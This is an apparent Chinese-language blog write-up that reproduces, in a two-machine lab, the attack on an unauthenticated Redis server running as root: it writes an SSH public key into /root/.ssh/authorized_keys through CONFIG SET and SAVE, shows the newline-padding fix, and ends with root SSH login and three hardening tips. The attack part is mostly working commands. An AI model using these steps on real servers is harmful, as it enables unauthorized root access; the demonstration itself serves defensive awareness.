關於Redis的問題,其實早在之前就已經公佈,跟MongoDB一樣也是默認監聽了公網IP端口以及沒加認證以及使用root用戶啓動造成的。
準備兩臺機器
10.10.0.122 攻擊的服務器,測試機
10.0.0.91 啓動redis,開放公網,無密碼,root啓動,默認端口
生成自己的公私鑰,輸入ssh-keygen命令(一路回車就好,大神忽略)
在122機器上遠程連接redis
[root@localhost ~]# cat /root/.ssh/id_rsa.pub | redis-cli -h 10.10.0.91 -p 6379 -x set ssh-key
OK
[root@localhost ~]# redis-cli -h 10.10.0.91
10.10.0.91:6379> get ssh-key
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqmQvQsc7PWmZX6AQU03vnuU1N5JlptmK6dmbT/HZeVrfb2kVtdUV9Nqndf3VSi7OWPZVP2lYgg17EpGk4LOGrh0lq05asSkbYImt7wLGT6ccp7jlfaybqQ3P1RVrJyrZq339eZ8sbGYzvWV/MEZGxgpKzqOfT6797si92P6Ba+9GHkFWifM/X138HFRK1tPtQMvRs5Sb/atOMHLI1+pXthPZyz8IcoN6BbD56SKZuK0bie+nLPEmbxeVXAM0Leq26wSW1XHhhKaFfRSZspl0LZGNramzgRyAmvE8jD4qs0tmWkB+FcvEmBYyCJ/q9BmzSi+E24tlcQ+aG7GoUr5N [email protected]\n"
10.10.0.91:6379> CONFIG SET dir /root/.ssh
OK
10.10.0.91:6379> CONFIG SET dbfilename "authorized_keys"
OK
10.10.0.91:6379> save
OK
10.10.0.91:6379>
這裏就出現問題了,因爲這裏的ssh-key的最前面沒有加回車,這樣導致authorized_keys
文件中的ssh行前面跟着redis的字符串內容,認證的內容就失敗了,簡單的就是在ssh-key的value前加兩個換行,或者將/root/.ssh/id_rsa.pub中的公鑰前手動加兩個換行(一個換行不行,測試過了,一個換行不滿足ssh文件格式)
[root@localhost ~]# redis-cli -h 10.10.0.91
10.10.0.91:6379> get ssh-key
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqmQvQsc7PWmZX6AQU03vnuU1N5JlptmK6dmbT/HZeVrfb2kVtdUV9Nqndf3VSi7OWPZVP2lYgg17EpGk4LOGrh0lq05asSkbYImt7wLGT6ccp7jlfaybqQ3P1RVrJyrZq339eZ8sbGYzvWV/MEZGxgpKzqOfT6797si92P6Ba+9GHkFWifM/X138HFRK1tPtQMvRs5Sb/atOMHLI1+pXthPZyz8IcoN6BbD56SKZuK0bie+nLPEmbxeVXAM0Leq26wSW1XHhhKaFfRSZspl0LZGNramzgRyAmvE8jD4qs0tmWkB+FcvEmBYyCJ/q9BmzSi+E24tlcQ+aG7GoUr5N [email protected]\n"
10.10.0.91:6379>
重新設定後
[root@localhost ~]# ssh [email protected]
Last failed login: Tue Sep 11 17:46:26 CST 2018 from 10.10.0.122 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Tue Sep 11 17:08:40 2018 from 10.10.0.122
[root@localhost ~]#
所以
1. redis還是不要對公網開放,最好修改默認端口
2. redis要加密,不要使用若密碼
3. redis的執行用戶最好不要是root